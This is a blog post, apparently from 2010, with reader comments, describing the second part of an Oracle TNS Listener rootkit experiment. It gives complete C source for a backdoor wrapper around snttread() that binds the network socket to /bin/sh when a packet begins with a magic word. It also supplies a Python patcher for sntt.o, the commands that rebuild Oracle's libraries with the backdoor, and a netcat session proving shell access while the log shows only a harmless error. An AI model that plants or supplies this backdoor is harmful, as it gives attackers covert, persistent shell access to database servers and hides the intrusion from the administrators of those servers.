My Oracle TNS Listener rootkit experiment.

(This is second part. Read first part of my experiment here.)

As I wrote before, TNS Listener can be easily modified too.
This time I decide to modify function which receive data on TCP/IP channel: snttread().
It's located in sntt.o file which is, in turn, located in libntcp11.a library.
The function is extremely simple, it can be said, it is just wrapper for recv() in Linux and for WSARecv() in Windows.

As I did before, I renamed function name in sntt.o from snttread to Snttread: I capitalized first symbol.
Now here is my wrapper function:

#include <stdio.h>
#include <spawn.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <unistd.h>

extern int Snttread (int fd, int buf, int buflen, int d);

int snttread (int fd, int buf, int buflen, int d)
{
	int r;
	char *name[2];
	char *envp[] = { NULL };
	pid_t pid;

	// do read
	r=Snttread (fd, buf, buflen, d);

	// compare buf start for magic word presence
	if (memcmp (buf, "/bin/sh", 7)==0)
	{
		// connect socket to stdin/stdout/stderr of process to be runned
		dup2 (fd, 0);
		dup2 (fd, 1);
		dup2 (fd, 2);

		// spawn /bin/sh
		name[0]="/bin/sh";
		name[1]=NULL;
		pid=getpid();
		posix_spawn(&pid, name[0], NULL, NULL, name, envp);
	
		// wait for /bin/sh termination
		wait(NULL); 

		// let caller think we do not received anything
		return 0; 
	}
	else
		return r;
};

What is going on here: if packet received contain some magic word, we spawn /bin/sh process.
Magic word in my case is "/bin/sh" - this is just my sense of humor.
If magic word is somewhere in the middle of received packet, backdoor will not be opened, obviously because memcpy() looking for it at the begin of packet.

As in past, I also prepared Python script to patch original sntt.o file:

import os, glob, mmap, sys

# replace all "snttread" strings in file to "Snttread"

pattern = "snttread"

fp = open(sys.argv[1], 'r+')
mm = mmap.mmap(fp.fileno(), os.stat(fp.name).st_size)

addr = 0
while addr != -1:
  addr = mm.find(pattern, addr)
  if addr != -1:
    print "patching at addr=", addr
    mm[addr] = "S"

mm.close()
fp.close()

Let's gather things together.

Fetch original sntt.o file from libntcp11.a library:

[oracle@localhost ~]$ ar -x $ORACLE_HOME/lib/libntcp11.a sntt.o

Make backup:

[oracle@localhost ~]$ cp sntt.o sntt.o.bak

Patch it:

[oracle@localhost ~]$ python sntt-o-patcher.py sntt.o
patching at addr= 732
patching at addr= 4882

Addresses are the places where strings were changed.

Put patched object file back:

[oracle@localhost ~]$ ar -r $ORACLE_HOME/lib/libntcp11.a sntt.o

Compile our wrapper:

[oracle@localhost ~]$ gcc -c sntt_wrapper.c

Put it to library too:

[oracle@localhost ~]$ ar -r $ORACLE_HOME/lib/libntcp11.a sntt_wrapper.o

Relink all:

[oracle@localhost ~]$ relink all

After relinking, at least two binaries will contain our code: oracle main binary and libclntsh.so.11.1 dynamic library: last one is loaded by tnslsnr.

Run TNS Listener (ORACLE_HOME and ORACLE_SID environment variables must be set correctly):

[oracle@localhost ~]$ tnslsnr

I didn't have success with telnet. So I used netcat, it works.

Run it and type "/bin/sh". Wow, you already in. Here I also type "uname -a" and "whoami":

[oracle@localhost ~]$ nc localhost 1521
/bin/sh
uname -a
Linux localhost.localdomain 2.6.18-164.el5 #1 SMP Thu Sep 3 03:33:56 EDT 2009 i686 i686 i386 GNU/Linux
whoami
oracle

tnslsnr process is running under "oracle" account, so, spawned /bin/sh process inherited this too.

What was written to listener.log?

20-JAN-2010 12:16:05 * 12502
TNS-12502: TNS:listener received no CONNECT_DATA from client

Well, it is just because after /bin/sh termination, snttread() function returned zero, meaning: nothing was received.

Nothing more in log files.

"So it goes" (c) Kurt Vonnegut

P.S. This was checked in 11.1.0.7.0 Linux x86 only.

Comments

Didn't work on 11.1.0.7.2 on

Didn't work on 11.1.0.7.2 on Linux-x86.

There is no 'sntread' call in sntt.o.

$ strings sntt.o
PRQV
cu.j
ntt2err
entry
sntt.c
exit
SDP_ASYNC_IO
ntcpaio
snttaioread
snttaiowrite
snttaiovwsubmit
snttaiovrsubmit
snttaiocancel
soc %d error - operation=%d, ntresnt[0]=%d, ntresnt[1]=%d, ntresnt[2]=%d
sntt2err
Read unexpected EOF ERROR on %d

I've tried to replace snttread with snttaioread, but no luck.

PS. Any reason you've used this python patcher instead of good old sed?

strings and sed are tools for

strings and sed are tools for text files, not binaries.